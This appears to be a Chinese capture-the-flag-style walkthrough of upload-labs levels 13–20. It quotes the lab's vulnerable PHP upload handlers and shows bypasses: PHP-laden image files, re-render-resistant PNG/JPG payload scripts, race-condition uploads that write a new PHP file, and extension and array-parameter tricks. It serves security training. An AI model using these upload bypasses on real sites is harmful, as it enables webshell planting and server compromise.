目錄
upload-labs-env
upload-labs-env第十三關
文件包含漏洞
代碼
測試
上傳一個.jpg圖片
上傳一個.png文件
上傳一個.gif圖片
upload-labs-env第十四關
代碼
思路
upload-labs-env第十五關
代碼
思路
upload-labs-env第十六關
代碼
思路
測試
上傳gif格式文件——較簡單——比較圖片
上傳png格式圖片——較麻煩
上傳jpg格式圖片——有一些不能被處理,要多試幾次
upload-labs-env第十七關
代碼
思路
解題思路
上傳測試
使用Burpsuite多次上傳
生成
upload-labs-env第十八關
思路
測試
upload-labs-env第十九關
代碼
思路一,繞過大小寫
思路二
upload-labs-env第二十關
代碼
思路
測試
upload-labs-env
upload-labs-env第十三關
文件包含漏洞
以PHP為例,常用的文件包含函數有以下四種 include(),require(),include_once(),require_once()
區別如下:
-
require():找不到被包含的文件會產生致命錯誤,并停止腳本運行
-
include():找不到被包含的文件只會產生警告,腳本繼續執行
-
require_once()與require()類似:唯一的區別是如果該文件的代碼已經被包含,則不會再次包含
-
include_once()與include()類似:唯一的區別是如果該文件的代碼已經被包含,則不會再次包含
網頁代碼
<?php include $_GET['test']; ?>
php代碼
<?php phpinfo(); ?>
利用文件包含,我們通過include函數來執行phpinfo.php頁面,成功解析
將phpinfo.php文件后綴改為txt后進行訪問,依然可以解析:
將phpinfo.php文件后綴改為jpg格式,也可以解析:
可以看出,include()函數并不在意被包含的文件是什么類型,只要有php代碼,都會被解析出來。
代碼
function getReailFileType($filename){//fopen — 打開文件或者 URL//r - 表示以只讀方式打開文件,文件必須存在,b表示以二進制方式打開文件,如果不加b,表示默認加了t,即以文本方式打開文件$file = fopen($filename, "rb");//fread — 讀取文件(可安全用于二進制文件),最多讀取2字節$bin = fread($file, 2); //只讀2字節//fclose — 關閉一個已打開的文件指針,將file指向的文件關閉fclose($file);//unpack 是 PHP 中用于解包二進制數據的函數,它可以將二進制字符串解析為 PHP 數組//@:錯誤控制運算符,用于抑制可能的警告或錯誤//C:表示無符號字符(unsigned char),占用 1 字節,范圍為 0 到 255//2:表示解析 2 個字節$strInfo = @unpack("C2chars", $bin);//intval - 獲取變量的整數值//將 $strInfo['chars1'] 和 $strInfo['chars2'] 的值拼接成一個字符串,然后將其轉換為整數$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; //文件的后綴(如 .jpg, .png, .gif)通常是通過文件的**魔數(Magic Number)**來確定的,而不是直接通過文件的后綴名。魔數是文件開頭的特定字節,用于標識文件的類型。解析前兩個字節并拼接后得到的結果,實際上是文件魔數的一部分,用于匹配文件類型。//JPEG:文件頭的前兩個字節是 0xFFD8,轉換為十進制是 255216//PNG:文件頭的前兩個字節是 0x8950,轉換為十進制是 13780//GIF:文件頭的前兩個字節是 0x4749,轉換為十進制是 7173switch($typeCode){ case 255216: $fileType = 'jpg';break;case 13780: $fileType = 'png';break; case 7173: $fileType = 'gif';break;default: $fileType = 'unknown';} return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上傳失敗!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上傳出錯!";}}
}
測試
先上傳一個index.jgp,上傳失敗,后端對圖片內容有檢測,使用白名單,只能上傳規定格式的文件
使用文件包含,使圖片文件中包含php代碼生成圖片碼
copy 00000.jpg /b + test.php /a test.jpg
上傳一個.jpg圖片
復制圖片地址,轉到文件包含漏洞的位置
使用get傳遞file
包含成功
上傳一個.png文件
上傳一個.gif圖片
我們使用010editor編輯index.php文件,在文件頭加上gif文件的頭,
上傳訪問
upload-labs-env第十四關
代碼
function isImage($filename){$types = '.jpeg|.png|.gif';//file_exists — 檢查文件或目錄是否存在if(file_exists($filename)){//getimagesize — 取得圖像大小$info = getimagesize($filename);//image_type_to_extension — 取得圖像類型的文件后綴$ext = image_type_to_extension($info[2]);//stripos — 查找字符串首次出現的位置(不區分大小寫)if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;//isset — 檢測變量是否已聲明并且其值不為 null
if(isset($_POST['submit'])){//獲取上傳文件的臨時路徑$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上傳失敗!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;//move_uploaded_file — 將上傳的文件移動到新位置if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上傳出錯!";}}
}
思路
和十三關類似,我們上傳一個文件包含的圖片
我們使用010editor編輯index.php文件,在文件頭加上gif文件的頭,
upload-labs-env第十五關
代碼
function isImage($filename){//需要開啟php_exif模塊//exif_imagetype — 判斷一個圖像的類型//exif_imagetype() 讀取一個圖像的第一個字節并檢查其簽名。$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break; default:return false;break;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上傳失敗!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上傳出錯!";}}
}
思路
也是判斷上傳文件類型
?//exif_imagetype — 判斷一個圖像的類型//exif_imagetype() 讀取一個圖像的第一個字節并檢查其簽名。
上傳測試
upload-labs-env第十六關
代碼
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 獲得上傳文件的基本信息,文件名,類型,大小,臨時文件路徑$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];//basename — 返回路徑中的文件名部分$target_path=UPLOAD_PATH.'/'.basename($filename);// 獲得上傳文件的擴展名//strrchr — 查找指定字符在字符串中的最后一次出現//substr從查找的位置按照0,1,2......順序返回后面的字符$fileext= substr(strrchr($filename,"."),1);//判斷文件后綴與類型,合法才進行上傳操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上傳的圖片生成新的圖片//imagecreatefromjpeg — 由文件或 URL 創建一個新圖象。//圖片文件上傳之后,打亂生成一個新圖片,我們可以找到沒有打亂的部分,修改為一句話木馬$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "該文件不是jpg格式的圖片!";@unlink($target_path);}else{//給新圖片指定文件名srand(time());//strval — 獲取變量的字符串值$newfilename = strval(rand()).".jpg";//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上傳出錯!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上傳的圖片生成新的圖片$im = imagecreatefrompng($target_path);if($im == false){$msg = "該文件不是png格式的圖片!";@unlink($target_path);}else{//給新圖片指定文件名srand(time());$newfilename = strval(rand()).".png";//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true; }} else {$msg = "上傳出錯!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上傳的圖片生成新的圖片$im = imagecreatefromgif($target_path);if($im == false){$msg = "該文件不是gif格式的圖片!";@unlink($target_path);}else{//給新圖片指定文件名srand(time());$newfilename = strval(rand()).".gif";//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上傳出錯!";}}else{$msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件!";}
}
思路
尋找沒有打亂的部分,上傳一句話木馬
測試
上傳圖片,下載被上傳之后的圖片
上傳一個含有一句話木馬的test_j.jpg
?? JFIF ? ? ? C ? C ? [" ? ? ? } !1AQa "q2亼?#B繃R佯$3br?
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz儎厗噲墛挀敃枟槞殺¥ウЖ┆渤吹斗腹郝媚牌僑墑矣哉腫剄巹懺溴驍栝犟蝮趲鲼?? ? ? w !1AQ aq"2?B憽繃 #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz們剠唶垑姃摂晼棙櫄ⅲぅΗī炒刀犯購旅吶魄壬室釉罩棕仝懺溴驍栝牝篝貊鼬? ? 齋⒕h?E??顛坾x鈅
x寐V荕礆?e笣A侷鈶p??僯酻Y穾撪弢S'目? 黓姱|!=澱幖盅[茌Y^D?
琟le7F?B獨I?y)w苦鵢餼?k鵞馡/V{?Q@聤(???????彽x 倐 x⑦煤暉€4興﹊焙嵁?YaY?+$珒滎婘_??醂^x玘誹栺7?Wz泛殖鯽k瀂鄠??Q€輲X?<zeG輮彲?/螓?摀~焺T@(QE QE QE QE??php
phpinfo();
?>
下載被上傳后的文件
?? JFIF ? >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
? C $.' ",#(7),01444'9=82<.342? C 2!!22222222222222222222222222222222222222222222222222? [" ? ? ? } !1AQa "q2亼?#B繃R佯$3br?
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz儎厗噲墛挀敃枟槞殺¥ウЖ┆渤吹斗腹郝媚牌僑墑矣哉腫剄巹懺溴驍栝犟蝮趲鲼?? ? ? w !1AQ aq"2?B憽繃 #3R?br?$4??&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz們剠唶垑姃摂晼棙櫄ⅲぅΗī炒刀犯購旅吶魄壬室釉罩棕仝懺溴驍栝牝篝貊鼬? ? 麝+嚫蛔?塛??T:l7
錋J$gq??澕?類sW</猨']讄?┹嬮t讑Hn蘪?R唀w.?# -Du碤E
(
(
(
(<趉MF屪鐋j1贠?D饄袶徝(e>鄦廕挈=徇靑o飊n皖Ж?汗螯祄"&N誙?撟$豬-
@?QE QE QE QE QE ?
已經將php代碼打亂
上傳gif格式文件——較簡單——比較圖片
先找一個gif文件
我們使用010editor軟件進行比較
打開工具,比較,選擇文件
找到相同部分
我們在文件,插入一句話木馬,盡量在00字段插入,不會影響數據
重新上茶訪問
上傳png格式圖片——較麻煩
這里我們使用腳本
demo.php
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>
網站打開文件demo.php
運行后得到1.png.上傳后下載到本地打開如下圖
使用010editor打開,發現一句話木馬已經存在了,現在就可以上傳運行了
上傳jpg格式圖片——有一些不能被處理,要多試幾次
也是使用腳本
隨便找一個jpg圖片,先上傳至服務器然后再下載到本地保存為1.jpg
.
插入php代碼
使用腳本處理1.jpg
,命令php demo.php 1.jpg
使用16進制編輯器打開,就可以看到插入的php代碼.
將生成的payload_1.jpg
上傳.
將上傳的圖片再次下載到本地,使用16進制編輯器打開
可以看到,php代碼沒有被去除. 證明我們成功上傳了含有php代碼的圖片.
需要注意的是,有一些jpg圖片不能被處理,所以要多嘗試一些jpg圖片.
upload-labs-env第十七關
代碼
$is_upload = false;
$msg = null;if(isset($_POST['submit'])){//array — 新建一個數組$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];//獲取文件后綴$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){//in_array — 檢查數組中是否存在某個值if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;//rename — 重命名一個文件或目錄rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允許上傳.jpg|.png|.gif類型文件!";//unlink — 刪除文件unlink($upload_file);}}else{$msg = '上傳出錯!';}
}
思路
代碼處理流程
-
移動文件到指定路徑
-
判斷文件后綴是否符合
-
符合則重命名
-
不符合則刪除文件
錯誤點:
先上傳,后刪除,中間有一個極短的窗口期,文件是在服務器中的,可以進行操作
漏洞:
條件競爭漏洞
在phpcmsv9也有同樣的漏洞,可以直接上傳webshell
解題思路
創建一個新木馬文件creat.php,用于執行時則創建一個info1.php文件
<?php //fputs - fwrite的別名 — 寫入文件(可安全用于二進制文件)//fopen — 以寫入的方式打開文件或者 URLfputs(fopen('../web.php','w'),'<?php phpinfo();?>');?>
<?php //file_put_contents — 將數據寫入文件file_put_concents('../shell.php','<?php phpinfo();?>');?>
建議生成文件到上一層目錄
因為同級目錄可能會循環刪除
上傳測試
我們發現上傳就被刪掉了
使用Burpsuite多次上傳
發送到攻擊器
添加payload爆破
持續發包
持續的發包,我們也需要不間斷的去訪問
我們也可以使用Burpsuite不間斷的去訪問,比手動效率高
生成
在上級目錄已經生成web.php文件
訪問成功
upload-labs-env第十八關
思路
上傳的文件還是先上傳,后重命名
使用文件包含,上傳一個圖片碼,在后端代碼執行到重命名之前,使用客戶端訪問到
測試
測試圖片碼的phpinfo();可不可以執行
可以執行
編輯demo.php
<?php fputs(fopen('../web123.php','w'),'<?php phpinfo();?>');?>
生成圖片碼
查看圖片碼
上傳抓包爆破
訪問查看是否成功
也可以使用Python腳本查看是否有成功的案例
import requests
url = "http://10.212.99.94/include.php?file=upload/web123.png"
while True:html = requests.get(url)if ('Warning' not in str(html.text)):print('ok')break
在上一級目錄中生成了重命名后的文件,我們訪問可以看到圖片碼上傳成功,
對于沒有被重命名的文件,重復上傳,是否成功,有一定的運氣在其中
upload-labs-env第十九關
代碼
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {//file_exists — 檢查文件或目錄是否存在if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];//pathinfo — 返回文件路徑的信息$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//in_array — 檢查數組中是否存在某個值if(!in_array($file_ext,$deny_ext)) {//$_FILES — HTTP 文件上傳變量$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上傳出錯!';}}else{$msg = '禁止保存為該類型文件!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}
}
思路一,繞過大小寫
直接上傳一個info.phP文件,然后再修改上傳名稱即可成功上傳。
訪問
思路二
沒有對上傳的文件做判斷,只對用戶輸入的文件名做判斷 后綴名黑名單 上傳的文件名用戶可控 黑名單用于用戶輸入的文件后綴名進行判斷 move_uploaded_file()還有這么一個特性,會忽略掉文件末尾的 /.
先準備PHP一句話木馬,并把后綴名改為PNG再上傳
然后用BP來抓包,效果如下圖,就是在upload-19.jpg改為upload-19.php/.
因為Windows的特性后綴改為indexp.php.也可
上傳成功
upload-labs-env第二十關
代碼
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//檢查MIME$allow_type = array('image/jpeg','image/png','image/gif');//檢查上傳的文件類型是否在白名單中if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上傳該類型文件!";}else{//檢查文件名//如果輸入的save_name為空,那么使用原始的文件名,否則使用save_name上傳的文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {//explode — 使用一個字符串分割另一個字符串//strtolower — 將字符串轉化為小寫$file = explode('.', strtolower($file));}//end — 將數組的內部指針指向最后一個單元$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上傳該后綴文件!";}else{//reset — 將數組的內部指針指向第一個單元$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上傳成功!";$is_upload = true;} else {$msg = "文件上傳失敗!";}}}
}else{$msg = "請選擇要上傳的文件!";
}
函數分析
php
empty() //函數用于檢查一個變量是否為空。
explode(separator,string,limit) //函數把字符串打散為數組。separator 必需。規定在哪里分割字符串。string 必需。要分割的字符串。limit 可選。規定所返回的數組元素的數目。可能的值:大于 0 - 返回包含最多 limit 個元素的數組小于 0 - 返回包含除了最后的 -limit 個元素以外的所有元素的數組0 - 返回包含一個元素的數組strtolower() //把所有字符轉換為小寫:
count() //計算數組中的單元數目,或對象中的屬性個數
end() //函數將內部指針指向數組中的最后一個元素,并輸出。
reset() //輸出數組中的當前元素和下一個元素的值,然后把數組的內部指針重置到數組中的第一個元素:
思路
需要繞過對非數組進行分割
如果將數組傳為save_name=["muma.php",不設置,"jpg"]
,當我們save_name[1]不設置的時候,count結果仍然是2,但是文件名后綴拼接出來為空,結果為muma.php. 再根據windows特性將.
省略,達到文件上傳的目的
測試
burpsuite改包
上傳查看
我們使用vscode來debug一下,看一下代碼內部的走向
if(!empty($_FILES['upload_file'])){
上傳不為空,進入if條件語句
$allow_type為image/jpeg
繼續
檢測上傳文件的種類在不在數組$allow_type中
在,進入else條件語句
檢測到
傳入save_name是個數組,有值,賦值給$file
![]()
if (!is_array($file)) {
檢測$file是否數組,如果不是,分割成數組
是數組,繞過if條件語句
$ext = end($file);
將數組的最后一位賦值給$ext
即$ext = array(2) = jpg
![]()
xxxxxxxxxx2?1 ? ?$allow_suffix = array('jpg','png','gif');2 ? ?if (!in_array($ext, $allow_suffix)) {
$ext是否在白名單中
在
進入else條件判斷
拼接賦值,數組中第一個值拼接數組中array(數組長度-1)的值
$file_name = test.php.
//reset — 將數組的內部指針指向第一個單元$file_name = reset($file) . '.' . $file[count($file) - 1];
Windows存儲模式,忽略后面的 . 存儲為test.php